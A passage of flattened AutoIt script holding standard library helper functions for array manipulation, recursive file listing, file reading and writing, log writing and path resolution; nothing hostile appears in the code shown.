StringTrimRight($sret, StringLen($sdelim_col)) & $sdelim_row Next Return StringTrimRight($sret, StringLen($sdelim_row)) Case Else Return SetError(2, 0, -1) EndSwitch Return 1 EndFunc Func _arraytranspose(ByRef $aarray) Switch UBound($aarray, 0) Case 0 Return SetError(2, 0, 0) Case 1 Local $atemp[1][UBound($aarray)] For $i = 0 To UBound($aarray) - 1 $atemp[0][$i] = $aarray[$i] Next $aarray = $atemp Case 2 Local $idim_1 = UBound($aarray, 1), $idim_2 = UBound($aarray, 2) If $idim_1 <> $idim_2 Then Local $atemp[$idim_2][$idim_1] For $i = 0 To $idim_1 - 1 For $j = 0 To $idim_2 - 1 $atemp[$j][$i] = $aarray[$i][$j] Next Next $aarray = $atemp Else Local $velement For $i = 0 To $idim_1 - 1 For $j = $i + 1 To $idim_2 - 1 $velement = $aarray[$i][$j] $aarray[$i][$j] = $aarray[$j][$i] $aarray[$j][$i] = $velement Next Next EndIf Case Else Return SetError(1, 0, 0) EndSwitch Return 1 EndFunc Func _arraytrim(ByRef $aarray, $itrimnum, $idirection = 0, $istart = 0, $iend = 0, $isubitem = 0) If $idirection = Default Then $idirection = 0 If $istart = Default Then $istart = 0 If $iend = Default Then $iend = 0 If $isubitem = Default Then $isubitem = 0 If NOT IsArray($aarray) Then Return SetError(1, 0, 0) Local $idim_1 = UBound($aarray, $ubound_rows) - 1 If $iend = 0 Then $iend = $idim_1 If $istart > $iend Then Return SetError(3, 0, -1) If $istart < 0 OR $iend < 0 Then Return SetError(3, 0, -1) If $istart > $idim_1 OR $iend > $idim_1 Then Return SetError(3, 0, -1) If $istart > $iend Then Return SetError(4, 0, -1) Switch UBound($aarray, $ubound_dimensions) Case 1 If $idirection Then For $i = $istart To $iend $aarray[$i] = StringTrimRight($aarray[$i], $itrimnum) Next Else For $i = $istart To $iend $aarray[$i] = StringTrimLeft($aarray[$i], $itrimnum) Next EndIf Case 2 Local $idim_2 = UBound($aarray, $ubound_columns) - 1 If $isubitem < 0 OR $isubitem > $idim_2 Then Return SetError(5, 0, -1) If $idirection Then For $i = $istart To $iend $aarray[$i][$isubitem] = StringTrimRight($aarray[$i][$isubitem], $itrimnum) Next Else For $i = $istart To $iend $aarray[$i][$isubitem] = StringTrimLeft($aarray[$i][$isubitem], $itrimnum) Next EndIf Case Else Return SetError(2, 0, 0) EndSwitch Return 1 EndFunc Func _arrayunique(Const ByRef $aarray, $icolumn = 0, $ibase = 0, $icase = 0, $icount = $arrayunique_count, $iinttype = $arrayunique_auto) If $icolumn = Default Then $icolumn = 0 If $ibase = Default Then $ibase = 0 If $icase = Default Then $icase = 0 If $icount = Default Then $icount = $arrayunique_count If UBound($aarray, $ubound_rows) = 0 Then Return SetError(1, 0, 0) Local $idims = UBound($aarray, $ubound_dimensions), $inumcolumns = UBound($aarray, $ubound_columns) If $idims > 2 Then Return SetError(2, 0, 0) If $ibase < 0 OR $ibase > 1 OR (NOT IsInt($ibase)) Then Return SetError(3, 0, 0) If $icase < 0 OR $icase > 1 OR (NOT IsInt($icase)) Then Return SetError(3, 0, 0) If $icount < 0 OR $icount > 1 OR (NOT IsInt($icount)) Then Return SetError(4, 0, 0) If $iinttype < 0 OR $iinttype > 4 OR (NOT IsInt($iinttype)) Then Return SetError(5, 0, 0) If $icolumn < 0 OR ($inumcolumns = 0 AND $icolumn > 0) OR ($inumcolumns > 0 AND $icolumn >= $inumcolumns) Then Return SetError(6, 0, 0) If $iinttype = $arrayunique_auto Then Local $vfirstelem = (($idims = 1) ? ($aarray[$ibase]) : ($aarray[$icolumn][$ibase])) If IsInt($vfirstelem) Then Switch VarGetType($vfirstelem) Case "Int32" $iinttype = $arrayunique_force32 Case "Int64" $iinttype = $arrayunique_force64 EndSwitch Else $iinttype = $arrayunique_force32 EndIf EndIf ObjEvent("AutoIt.Error", "__ArrayUnique_AutoErrFunc") Local $odictionary = ObjCreate("Scripting.Dictionary") $odictionary.comparemode = Number(NOT $icase) Local $velem, $stype, $vkey, $bcomerror = False For $i = $ibase To UBound($aarray) - 1 If $idims = 1 Then $velem = $aarray[$i] Else $velem = $aarray[$i][$icolumn] EndIf Switch $iinttype Case $arrayunique_force32 $odictionary.item($velem) If @error Then $bcomerror = True ExitLoop EndIf Case $arrayunique_force64 $stype = VarGetType($velem) If $stype = "Int32" Then $bcomerror = True ExitLoop EndIf $vkey = "#" & $stype & "#" & String($velem) If NOT $odictionary.item($vkey) Then $odictionary($vkey) = $velem EndIf Case $arrayunique_match $stype = VarGetType($velem) If StringLeft($stype, 3) = "Int" Then $vkey = "#Int#" & String($velem) Else $vkey = "#" & $stype & "#" & String($velem) EndIf If NOT $odictionary.item($vkey) Then $odictionary($vkey) = $velem EndIf Case $arrayunique_distinct $vkey = "#" & VarGetType($velem) & "#" & String($velem) If NOT $odictionary.item($vkey) Then $odictionary($vkey) = $velem EndIf EndSwitch Next Local $avalues, $j = 0 If $bcomerror Then Return SetError(7, 0, 0) ElseIf $iinttype <> $arrayunique_force32 Then Local $avalues[$odictionary.count] For $vkey In $odictionary.keys() $avalues[$j] = $odictionary($vkey) If StringLeft($vkey, 5) = "#Ptr#" Then $avalues[$j] = Ptr($avalues[$j]) EndIf $j += 1 Next Else $avalues = $odictionary.keys() EndIf If $icount Then _arrayinsert($avalues, 0, $odictionary.count) EndIf Return $avalues EndFunc Func _array1dtohistogram($aarray, $isizing = 100) If UBound($aarray, 0) > 1 Then Return SetError(1, 0, "") $isizing = $isizing * 8 Local $t, $n, $imin = 0, $imax = 0, $ioffset = 0 For $i = 0 To UBound($aarray) - 1 $t = $aarray[$i] $t = IsNumber($t) ? Round($t) : 0 If $t < $imin Then $imin = $t If $t > $imax Then $imax = $t Next Local $irange = Int(Round(($imax - $imin) / 8)) * 8 Local $ispaceratio = 4 For $i = 0 To UBound($aarray) - 1 $t = $aarray[$i] If $t Then $n = Abs(Round(($isizing * $t) / $irange) / 8) $aarray[$i] = "" If $t > 0 Then If $imin Then $ioffset = Int(Abs(Round(($isizing * $imin) / $irange) / 8) / 8 * $ispaceratio) $aarray[$i] = __array_stringrepeat(ChrW(32), $ioffset) EndIf Else If $imin <> $t Then $ioffset = Int(Abs(Round(($isizing * ($t - $imin)) / $irange) / 8) / 8 * $ispaceratio) $aarray[$i] = __array_stringrepeat(ChrW(32), $ioffset) EndIf EndIf $aarray[$i] &= __array_stringrepeat(ChrW(9608), Int($n / 8)) $n = Mod($n, 8) If $n > 0 Then $aarray[$i] &= ChrW(9608 + 8 - $n) $aarray[$i] &= " " & $t Else $aarray[$i] = "" EndIf Next Return $aarray EndFunc Func __array_stringrepeat($sstring, $irepeatcount) $irepeatcount = Int($irepeatcount) If StringLen($sstring) < 1 OR $irepeatcount <= 0 Then Return SetError(1, 0, "") Local $sresult = "" While $irepeatcount > 1 If BitAND($irepeatcount, 1) Then $sresult &= $sstring $sstring &= $sstring $irepeatcount = BitShift($irepeatcount, 1) WEnd Return $sstring & $sresult EndFunc Func __array_exeterinternal(ByRef $aarray, $istart, $isize, $sdelimiter, ByRef $aidx, ByRef $aresult, ByRef $icount) If $istart == $isize - 1 Then For $i = 0 To $isize - 1 $aresult[$icount] &= $aarray[$aidx[$i]] & $sdelimiter Next If $sdelimiter <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], StringLen($sdelimiter)) $icount += 1 Else Local $itemp For $i = $istart To $isize - 1 $itemp = $aidx[$i] $aidx[$i] = $aidx[$istart] $aidx[$istart] = $itemp __array_exeterinternal($aarray, $istart + 1, $isize, $sdelimiter, $aidx, $aresult, $icount) $aidx[$istart] = $aidx[$i] $aidx[$i] = $itemp Next EndIf EndFunc Func __array_combinations($in, $ir) Local $i_total = 1 For $i = $ir To 1 Step -1 $i_total *= ($in / $i) $in -= 1 Next Return Round($i_total) EndFunc Func __array_getnext($in, $ir, ByRef $ileft, $itotal, ByRef $aidx) If $ileft == $itotal Then $ileft -= 1 Return EndIf Local $i = $ir - 1 While $aidx[$i] == $in - $ir + $i $i -= 1 WEnd $aidx[$i] += 1 For $j = $i + 1 To $ir - 1 $aidx[$j] = $aidx[$i] + $j - $i Next $ileft -= 1 EndFunc Func __array_minmaxindex(Const ByRef $aarray, $icompnumeric, $istart, $iend, $isubitem, $fucomparison) If $icompnumeric = Default Then $icompnumeric = 0 If $icompnumeric <> 1 Then $icompnumeric = 0 If $istart = Default Then $istart = 0 If $iend = Default Then $iend = 0 If $isubitem = Default Then $isubitem = 0 If NOT IsArray($aarray) Then Return SetError(1, 0, -1) Local $idim_1 = UBound($aarray, $ubound_rows) - 1 If $idim_1 < 0 Then Return SetError(1, 0, -1) If $iend = -1 Then $iend = $idim_1 If $istart = -1 Then $istart = 0 If $istart < -1 OR $iend < -1 Then Return SetError(3, 0, -1) If $istart > $idim_1 OR $iend > $idim_1 Then Return SetError(3, 0, -1) If $istart > $iend Then Return SetError(4, 0, -1) If $idim_1 < 0 Then Return SetError(5, 0, -1) Local $imaxminindex = $istart Switch UBound($aarray, $ubound_dimensions) Case 1 If $icompnumeric Then For $i = $istart To $iend If $fucomparison(Number($aarray[$i]), Number($aarray[$imaxminindex])) Then $imaxminindex = $i Next Else For $i = $istart To $iend If $fucomparison($aarray[$i], $aarray[$imaxminindex]) Then $imaxminindex = $i Next EndIf Case 2 If $isubitem < 0 OR $isubitem > UBound($aarray, $ubound_columns) - 1 Then Return SetError(6, 0, -1) If $icompnumeric Then For $i = $istart To $iend If $fucomparison(Number($aarray[$i][$isubitem]), Number($aarray[$imaxminindex][$isubitem])) Then $imaxminindex = $i Next Else For $i = $istart To $iend If $fucomparison($aarray[$i][$isubitem], $aarray[$imaxminindex][$isubitem]) Then $imaxminindex = $i Next EndIf Case Else Return SetError(2, 0, -1) EndSwitch Return $imaxminindex EndFunc Func __array_greaterthan($vvalue1, $vvalue2) Return $vvalue1 > $vvalue2 EndFunc Func __array_lessthan($vvalue1, $vvalue2) Return $vvalue1 < $vvalue2 EndFunc Func __arrayunique_autoerrfunc() EndFunc Func _filecountlines($sfilepath) Local $hfileopen = FileOpen($sfilepath, $fo_read) If $hfileopen = -1 Then Return SetError(1, 0, 0) Local $sfileread = StringStripWS(FileRead($hfileopen), $str_striptrailing) FileClose($hfileopen) Return UBound(StringRegExp($sfileread, "\R", $str_regexparrayglobalmatch)) + 1 - Int($sfileread = "") EndFunc Func _filecreate($sfilepath) Local $hfileopen = FileOpen($sfilepath, BitOR($fo_overwrite, $fo_createpath)) If $hfileopen = -1 Then Return SetError(1, 0, 0) Local $ifilewrite = FileWrite($hfileopen, "") FileClose($hfileopen) If NOT $ifilewrite Then Return SetError(2, 0, 0) Return 1 EndFunc Func _filelisttoarray($sfilepath, $sfilter = "*", $iflag = $flta_filesfolders, $breturnpath = False) Local $sdelimiter = "|", $sfilelist = "", $sfilename = "", $sfullpath = "" $sfilepath = StringRegExpReplace($sfilepath, "[\\/]+$", "") & "\" If $iflag = Default Then $iflag = $flta_filesfolders If $breturnpath Then $sfullpath = $sfilepath If $sfilter = Default Then $sfilter = "*" If NOT FileExists($sfilepath) Then Return SetError(1, 0, 0) If StringRegExp($sfilter, "[\\/:><\|]|(?s)^\s*$") Then Return SetError(2, 0, 0) If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3, 0, 0) Local $hsearch = FileFindFirstFile($sfilepath & $sfilter) If @error Then Return SetError(4, 0, 0) While 1 $sfilename = FileFindNextFile($hsearch) If @error Then ExitLoop If ($iflag + @extended = 2) Then ContinueLoop $sfilelist &= $sdelimiter & $sfullpath & $sfilename WEnd FileClose($hsearch) If $sfilelist = "" Then Return SetError(4, 0, 0) Return StringSplit(StringTrimLeft($sfilelist, 1), $sdelimiter) EndFunc Func _filelisttoarrayrec($sfilepath, $smask = "*", $ireturn = $fltar_filesfolders, $irecur = $fltar_norecur, $isort = $fltar_nosort, $ireturnpath = $fltar_relpath) If NOT FileExists($sfilepath) Then Return SetError(1, 1, "") If $smask = Default Then $smask = "*" If $ireturn = Default Then $ireturn = $fltar_filesfolders If $irecur = Default Then $irecur = $fltar_norecur If $isort = Default Then $isort = $fltar_nosort If $ireturnpath = Default Then $ireturnpath = $fltar_relpath If $irecur > 1 OR NOT IsInt($irecur) Then Return SetError(1, 6, "") Local $blongpath = False If StringLeft($sfilepath, 4) == "\\?\" Then $blongpath = True EndIf Local $sfolderslash = "" If StringRight($sfilepath, 1) = "\" Then $sfolderslash = "\" Else $sfilepath = $sfilepath & "\" EndIf Local $asfoldersearchlist[100] = [1] $asfoldersearchlist[1] = $sfilepath Local $ihide_hs = 0, $shide_hs = "" If BitAND($ireturn, 4) Then $ihide_hs += 2 $shide_hs &= "H" $ireturn -= 4 EndIf If BitAND($ireturn, 8) Then $ihide_hs += 4 $shide_hs &= "S" $ireturn -= 8 EndIf Local $ihide_link = 0 If BitAND($ireturn, 16) Then $ihide_link = 1024 $ireturn -= 16 EndIf Local $imaxlevel = 0 If $irecur < 0 Then StringReplace($sfilepath, "\", "", 0, $str_nocasesensebasic) $imaxlevel = @extended - $irecur EndIf Local $sexclude_list = "", $sexclude_list_folder = "", $sinclude_list = "*" Local $amasksplit = StringSplit($smask, "|") Switch $amasksplit[0] Case 3 $sexclude_list_folder = $amasksplit[3] ContinueCase Case 2 $sexclude_list = $amasksplit[2] ContinueCase Case 1 $sinclude_list = $amasksplit[1] EndSwitch Local $sinclude_file_mask = ".+" If $sinclude_list <> "*" Then If NOT __fltar_listtomask($sinclude_file_mask, $sinclude_list) Then Return SetError(1, 2, "") EndIf Local $sinclude_folder_mask = ".+" Switch $ireturn Case 0 Switch $irecur Case 0 $sinclude_folder_mask = $sinclude_file_mask EndSwitch Case 2 $sinclude_folder_mask = $sinclude_file_mask EndSwitch Local $sexclude_file_mask = ":" If $sexclude_list <> "" Then If NOT __fltar_listtomask($sexclude_file_mask, $sexclude_list) Then Return SetError(1, 3, "") EndIf Local $sexclude_folder_mask = ":" If $irecur Then If $sexclude_list_folder Then If NOT __fltar_listtomask($sexclude_folder_mask, $sexclude_list_folder) Then Return SetError(1, 4, "") EndIf If $ireturn = 2 Then $sexclude_folder_mask = $sexclude_file_mask EndIf Else $sexclude_folder_mask = $sexclude_file_mask EndIf If NOT ($ireturn = 0 OR $ireturn = 1 OR $ireturn = 2) Then Return SetError(1, 5, "") If NOT ($isort = 0 OR $isort = 1 OR $isort = 2) Then Return SetError(1, 7, "") If NOT ($ireturnpath = 0 OR $ireturnpath = 1 OR $ireturnpath = 2) Then Return SetError(1, 8, "") If $ihide_link Then Local $tfile_data = DllStructCreate("struct;align 4;dword FileAttributes;uint64 CreationTime;uint64 LastAccessTime;uint64 LastWriteTime;" & "dword FileSizeHigh;dword FileSizeLow;dword Reserved0;dword Reserved1;wchar FileName[260];wchar AlternateFileName[14];endstruct") Local $hdll = DllOpen("kernel32.dll"), $adll_ret EndIf Local $asreturnlist[100] = [0] Local $asfilematchlist = $asreturnlist, $asrootfilematchlist = $asreturnlist, $asfoldermatchlist = $asreturnlist Local $bfolder = False, $hsearch = 0, $scurrentpath = "", $sname = "", $sretpath = "" Local $iattribs = 0, $sattribs = "" Local $asfolderfilesectionlist[100][2] = [[0, 0]] While $asfoldersearchlist[0] > 0 $scurrentpath = $asfoldersearchlist[$asfoldersearchlist[0]] $asfoldersearchlist[0] -= 1 Switch $ireturnpath Case 1 $sretpath = StringReplace($scurrentpath, $sfilepath, "") Case 2 If $blongpath Then $sretpath = StringTrimLeft($scurrentpath, 4) Else $sretpath = $scurrentpath EndIf EndSwitch If $ihide_link Then $adll_ret = DllCall($hdll, "handle", "FindFirstFileW", "wstr", $scurrentpath & "*", "struct*", $tfile_data) If @error OR NOT $adll_ret[0] Then ContinueLoop EndIf $hsearch = $adll_ret[0] Else $hsearch = FileFindFirstFile($scurrentpath & "*") If $hsearch = -1 Then ContinueLoop EndIf EndIf If $ireturn = 0 AND $isort AND $ireturnpath Then __fltar_addtolist($asfolderfilesectionlist, $sretpath, $asfilematchlist[0] + 1) EndIf $sattribs = "" While 1 If $ihide_link Then $adll_ret = DllCall($hdll, "int", "FindNextFileW", "handle", $hsearch, "struct*", $tfile_data) If @error OR NOT $adll_ret[0] Then ExitLoop EndIf $sname = DllStructGetData($tfile_data, "FileName") If $sname = ".." Then ContinueLoop EndIf $iattribs = DllStructGetData($tfile_data, "FileAttributes") If $ihide_hs AND BitAND($iattribs, $ihide_hs) Then ContinueLoop EndIf If BitAND($iattribs, $ihide_link) Then ContinueLoop EndIf $bfolder = False If BitAND($iattribs, 16) Then $bfolder = True EndIf Else $bfolder = False $sname = FileFindNextFile($hsearch, 1) If @error Then ExitLoop EndIf $sattribs = @extended If StringInStr($sattribs, "D") Then $bfolder = True EndIf If StringRegExp($sattribs, "[" & $shide_hs & "]") Then ContinueLoop EndIf EndIf If $bfolder Then Select Case $irecur < 0 StringReplace($scurrentpath, "\", "", 0, $str_nocasesensebasic) If @extended < $imaxlevel Then ContinueCase EndIf Case $irecur = 1 If NOT StringRegExp($sname, $sexclude_folder_mask) Then __fltar_addtolist($asfoldersearchlist, $scurrentpath & $sname & "\") EndIf EndSelect EndIf If $isort Then If $bfolder Then If StringRegExp($sname, $sinclude_folder_mask) AND NOT StringRegExp($sname, $sexclude_folder_mask) Then __fltar_addtolist($asfoldermatchlist, $sretpath & $sname & $sfolderslash) EndIf Else If StringRegExp($sname, $sinclude_file_mask) AND NOT StringRegExp($sname, $sexclude_file_mask) Then If $scurrentpath = $sfilepath Then __fltar_addtolist($asrootfilematchlist, $sretpath & $sname) Else __fltar_addtolist($asfilematchlist, $sretpath & $sname) EndIf EndIf EndIf Else If $bfolder Then If $ireturn <> 1 AND StringRegExp($sname, $sinclude_folder_mask) AND NOT StringRegExp($sname, $sexclude_folder_mask) Then __fltar_addtolist($asreturnlist, $sretpath & $sname & $sfolderslash) EndIf Else If $ireturn <> 2 AND StringRegExp($sname, $sinclude_file_mask) AND NOT StringRegExp($sname, $sexclude_file_mask) Then __fltar_addtolist($asreturnlist, $sretpath & $sname) EndIf EndIf EndIf WEnd If $ihide_link Then DllCall($hdll, "int", "FindClose", "ptr", $hsearch) Else FileClose($hsearch) EndIf WEnd If $ihide_link Then DllClose($hdll) EndIf If $isort Then Switch $ireturn Case 2 If $asfoldermatchlist[0] = 0 Then Return SetError(1, 9, "") ReDim $asfoldermatchlist[$asfoldermatchlist[0] + 1] $asreturnlist = $asfoldermatchlist __arraydualpivotsort($asreturnlist, 1, $asreturnlist[0]) Case 1 If $asrootfilematchlist[0] = 0 AND $asfilematchlist[0] = 0 Then Return SetError(1, 9, "") If $ireturnpath = 0 Then __fltar_addfilelists($asreturnlist, $asrootfilematchlist, $asfilematchlist) __arraydualpivotsort($asreturnlist, 1, $asreturnlist[0]) Else __fltar_addfilelists($asreturnlist, $asrootfilematchlist, $asfilematchlist, 1) EndIf Case 0 If $asrootfilematchlist[0] = 0 AND $asfoldermatchlist[0] = 0 Then Return SetError(1, 9, "") If $ireturnpath = 0 Then __fltar_addfilelists($asreturnlist, $asrootfilematchlist, $asfilematchlist) $asreturnlist[0] += $asfoldermatchlist[0] ReDim $asfoldermatchlist[$asfoldermatchlist[0] + 1] _arrayconcatenate($asreturnlist, $asfoldermatchlist, 1) __arraydualpivotsort($asreturnlist, 1, $asreturnlist[0]) Else Local $asreturnlist[$asfilematchlist[0] + $asrootfilematchlist[0] + $asfoldermatchlist[0] + 1] $asreturnlist[0] = $asfilematchlist[0] + $asrootfilematchlist[0] + $asfoldermatchlist[0] __arraydualpivotsort($asrootfilematchlist, 1, $asrootfilematchlist[0]) For $i = 1 To $asrootfilematchlist[0] $asreturnlist[$i] = $asrootfilematchlist[$i] Next Local $inextinsertionindex = $asrootfilematchlist[0] + 1 __arraydualpivotsort($asfoldermatchlist, 1, $asfoldermatchlist[0]) Local $sfoldertofind = "" For $i = 1 To $asfoldermatchlist[0] $asreturnlist[$inextinsertionindex] = $asfoldermatchlist[$i] $inextinsertionindex += 1 If $sfolderslash Then $sfoldertofind = $asfoldermatchlist[$i] Else $sfoldertofind = $asfoldermatchlist[$i] & "\" EndIf Local $ifilesectionendindex = 0, $ifilesectionstartindex = 0 For $j = 1 To $asfolderfilesectionlist[0][0] If $sfoldertofind = $asfolderfilesectionlist[$j][0] Then $ifilesectionstartindex = $asfolderfilesectionlist[$j][1] If $j = $asfolderfilesectionlist[0][0] Then $ifilesectionendindex = $asfilematchlist[0] Else $ifilesectionendindex = $asfolderfilesectionlist[$j + 1][1] - 1 EndIf If $isort = 1 Then __arraydualpivotsort($asfilematchlist, $ifilesectionstartindex, $ifilesectionendindex) EndIf For $k = $ifilesectionstartindex To $ifilesectionendindex $asreturnlist[$inextinsertionindex] = $asfilematchlist[$k] $inextinsertionindex += 1 Next ExitLoop EndIf Next Next EndIf EndSwitch Else If $asreturnlist[0] = 0 Then Return SetError(1, 9, "") ReDim $asreturnlist[$asreturnlist[0] + 1] EndIf Return $asreturnlist EndFunc Func __fltar_addfilelists(ByRef $astarget, $assource_1, $assource_2, $isort = 0) ReDim $assource_1[$assource_1[0] + 1] If $isort = 1 Then __arraydualpivotsort($assource_1, 1, $assource_1[0]) $astarget = $assource_1 $astarget[0] += $assource_2[0] ReDim $assource_2[$assource_2[0] + 1] If $isort = 1 Then __arraydualpivotsort($assource_2, 1, $assource_2[0]) _arrayconcatenate($astarget, $assource_2, 1) EndFunc Func __fltar_addtolist(ByRef $alist, $vvalue_0, $vvalue_1 = -1) If $vvalue_1 = -1 Then $alist[0] += 1 If UBound($alist) <= $alist[0] Then ReDim $alist[UBound($alist) * 2] $alist[$alist[0]] = $vvalue_0 Else $alist[0][0] += 1 If UBound($alist) <= $alist[0][0] Then ReDim $alist[UBound($alist) * 2][2] $alist[$alist[0][0]][0] = $vvalue_0 $alist[$alist[0][0]][1] = $vvalue_1 EndIf EndFunc Func __fltar_listtomask(ByRef $smask, $slist) If StringRegExp($slist, "\\|/|:|\<|\>|\|") Then Return 0 $slist = StringReplace(StringStripWS(StringRegExpReplace($slist, "\s*;\s*", ";"), $str_stripleading + $str_striptrailing), ";", "|") $slist = StringReplace(StringReplace(StringRegExpReplace($slist, "[][$^.{}()+\-]", "\\$0"), "?", "."), "*", ".*?") $smask = "(?i)^(" & $slist & ")\z" Return 1 EndFunc Func _fileprint($sfilepath, $ishow = @SW_HIDE) If $ishow = Default Then $ishow = @SW_HIDE Return ShellExecute($sfilepath, "", @WorkingDir, "print", $ishow) EndFunc Func _filereadtoarray($sfilepath, ByRef $vreturn, $iflags = $frta_count, $sdelimiter = "") $vreturn = 0 If $iflags = Default Then $iflags = $frta_count If $sdelimiter = Default Then $sdelimiter = "" Local $bexpand = True If BitAND($iflags, $frta_intarrays) Then $bexpand = False $iflags -= $frta_intarrays EndIf Local $ientire = $str_chrsplit If BitAND($iflags, $frta_entiresplit) Then $ientire = $str_entiresplit $iflags -= $frta_entiresplit EndIf Local $inocount = 0 If $iflags <> $frta_count Then $iflags = $frta_nocount $inocount = $str_nocount EndIf If $sdelimiter Then Local $alines = FILEREADTOARRAY($sfilepath) If @error Then Return SetError(@error, 0, 0) Local $idim_1 = UBound($alines) + $iflags If $bexpand Then Local $idim_2 = UBound(StringSplit($alines[0], $sdelimiter, $ientire + $str_nocount)) Local $atemp_array[$idim_1][$idim_2] Local $ifields, $asplit For $i = 0 To $idim_1 - $iflags - 1 $asplit = StringSplit($alines[$i], $sdelimiter, $ientire + $str_nocount) $ifields = UBound($asplit) If $ifields <> $idim_2 Then Return SetError(3, 0, 0) EndIf For $j = 0 To $ifields - 1 $atemp_array[$i + $iflags][$j] = $asplit[$j] Next Next If $idim_2 < 2 Then Return SetError(4, 0, 0) If $iflags Then $atemp_array[0][0] = $idim_1 - $iflags $atemp_array[0][1] = $idim_2 EndIf Else Local $atemp_array[$idim_1] For $i = 0 To $idim_1 - $iflags - 1 $atemp_array[$i + $iflags] = StringSplit($alines[$i], $sdelimiter, $ientire + $inocount) Next If $iflags Then $atemp_array[0] = $idim_1 - $iflags EndIf EndIf $vreturn = $atemp_array Else If $iflags Then Local $hfileopen = FileOpen($sfilepath, $fo_read) If $hfileopen = -1 Then Return SetError(1, 0, 0) Local $sfileread = FileRead($hfileopen) FileClose($hfileopen) If StringLen($sfileread) Then $vreturn = StringRegExp(@LF & $sfileread, "(?|(\N+)\z|(\N*)(?:\R))", 3) $vreturn[0] = UBound($vreturn) - 1 Else Return SetError(2, 0, 0) EndIf Else $vreturn = FILEREADTOARRAY($sfilepath) If @error Then $vreturn = 0 Return SetError(@error, 0, 0) EndIf EndIf EndIf Return 1 EndFunc Func _filewritefromarray($sfilepath, Const ByRef $aarray, $ibase = Default, $iubound = Default, $sdelimiter = "|") Local $ireturn = 0 If NOT IsArray($aarray) Then Return SetError(2, 0, $ireturn) Local $idims = UBound($aarray, $ubound_dimensions) If $idims > 2 Then Return SetError(4, 0, 0) Local $ilast = UBound($aarray) - 1 If $iubound = Default OR $iubound > $ilast Then $iubound = $ilast If $ibase < 0 OR $ibase = Default Then $ibase = 0 If $ibase > $iubound Then Return SetError(5, 0, $ireturn) If $sdelimiter = Default Then $sdelimiter = "|" Local $hfileopen = $sfilepath If IsString($sfilepath) Then $hfileopen = FileOpen($sfilepath, $fo_overwrite) If $hfileopen = -1 Then Return SetError(1, 0, $ireturn) EndIf Local $ierror = 0 $ireturn = 1 Switch $idims Case 1 For $i = $ibase To $iubound If NOT FileWrite($hfileopen, $aarray[$i] & @CRLF) Then $ierror = 3 $ireturn = 0 ExitLoop EndIf Next Case 2 Local $stemp = "" For $i = $ibase To $iubound $stemp = $aarray[$i][0] For $j = 1 To UBound($aarray, $ubound_columns) - 1 $stemp &= $sdelimiter & $aarray[$i][$j] Next If NOT FileWrite($hfileopen, $stemp & @CRLF) Then $ierror = 3 $ireturn = 0 ExitLoop EndIf Next EndSwitch If IsString($sfilepath) Then FileClose($hfileopen) Return SetError($ierror, 0, $ireturn) EndFunc Func _filewritelog($slogpath, $slogmsg, $iflag = -1) Local $iopenmode = $fo_append Local $sdatenow = @YEAR & "-" & @MON & "-" & @MDAY Local $stimenow = @HOUR & ":" & @MIN & ":" & @SEC Local $smsg = $sdatenow & " " & $stimenow & " : " & $slogmsg If $iflag = Default Then $iflag = -1 If $iflag <> -1 Then $iopenmode = $fo_overwrite $smsg &= @CRLF & FileRead($slogpath) EndIf Local $hfileopen = $slogpath If IsString($slogpath) Then $hfileopen = FileOpen($slogpath, $iopenmode) EndIf If $hfileopen = -1 Then Return SetError(1, 0, 0) Local $ireturn = FileWriteLine($hfileopen, $smsg) If IsString($slogpath) Then $ireturn = FileClose($hfileopen) If $ireturn <= 0 Then Return SetError(2, $ireturn, 0) Return $ireturn EndFunc Func _filewritetoline($sfilepath, $iline, $stext, $boverwrite = False) If $iline <= 0 Then Return SetError(4, 0, 0) If NOT IsString($stext) Then $stext = String($stext) If $stext = "" Then Return SetError(6, 0, 0) EndIf If $boverwrite = Default Then $boverwrite = False If NOT (IsBool($boverwrite) OR $boverwrite = 0 OR $boverwrite = 1) Then Return SetError(5, 0, 0) If NOT FileExists($sfilepath) Then Return SetError(2, 0, 0) Local $aarray = FILEREADTOARRAY($sfilepath) Local $iubound = UBound($aarray) - 1 If ($iubound + 1) < $iline Then Return SetError(1, 0, 0) Local $hfileopen = FileOpen($sfilepath, FileGetEncoding($sfilepath) + $fo_overwrite) If $hfileopen = -1 Then Return SetError(3, 0, 0) Local $sdata = "" $iline -= 1 For $i = 0 To $iubound If $i = $iline Then If $boverwrite Then If $stext Then $sdata &= $stext & @CRLF Else $sdata &= $stext & @CRLF & $aarray[$i] & @CRLF EndIf ElseIf $i < $iubound Then $sdata &= $aarray[$i] & @CRLF ElseIf $i = $iubound Then $sdata &= $aarray[$i] EndIf Next FileWrite($hfileopen, $sdata) FileClose($hfileopen) Return 1 EndFunc Func _pathfull($srelativepath, $sbasepath = @WorkingDir) If NOT $srelativepath OR $srelativepath = "." Then Return $sbasepath Local $sfullpath = StringReplace($srelativepath, "/", "\") Local Const $sfullpathconst = $sfullpath Local $spath Local $brootonly = StringLeft($sfullpath, 1) = "\" AND StringMid($sfullpath, 2, 1) <> "\" If $sbasepath = Default Then $sbasepath = @WorkingDir For $i = 1 To 2 $spath = StringLeft($sfullpath, 2) If $spath = "\\" Then $sfullpath = StringTrimLeft($sfullpath, 2) Local $nserverlen = StringInStr($sfullpath, "\") - 1 $spath = "\\" & StringLeft($sfullpath, $nserverlen) $sfullpath = StringTrimLeft($sfullpath, $nserverlen) ExitLoop ElseIf StringRight($spath, 1) = ":" Then $sfullpath = StringTrimLeft($sfullpath, 2) ExitLoop Else $sfullpath = $sbasepath & "\" & $sfullpath EndIf Next If StringLeft($sfullpath, 1) <> "\" Then If StringLeft($sfullpathconst, 2) = StringLeft($sbasepath, 2) Then $sfullpath = $sbasepath & "\" & $sfullpath Else $sfullpath = "\" & $sfullpath EndIf EndIf Local $atemp = StringSplit($sfullpath, "\") Local $apathparts[$atemp[0]], $j = 0 For $i = 2 To $atemp[0] If $atemp[$i] = ".." Then If $j Then $j -= 1 ElseIf NOT ($atemp[$i] = "" AND $i <> $atemp[0]) AND $atemp[$i] <> "." Then $apathparts[$j] = $atemp[$i] $j += 1 EndIf Next $sfullpath = $spath If NOT $brootonly Then For $i = 0 To $j - 1 $sfullpath &= "\" & $apathparts[$i] Next Else $sfullpath &= $sfullpathconst If StringInStr($sfullpath, "..") Then $sfullpath = _pathfull($sfullpath) EndIf Do $sfullpath = StringReplace($sfullpath, ".\", "\") Until @extended = 0 Return $sfullpath EndFunc Func _pathgetrelative($sfrom, $sto) If StringRight($sfrom, 1) <> "\" Then $sfrom &= "\" If StringRight($sto, 1) <> "\" Then $sto &= 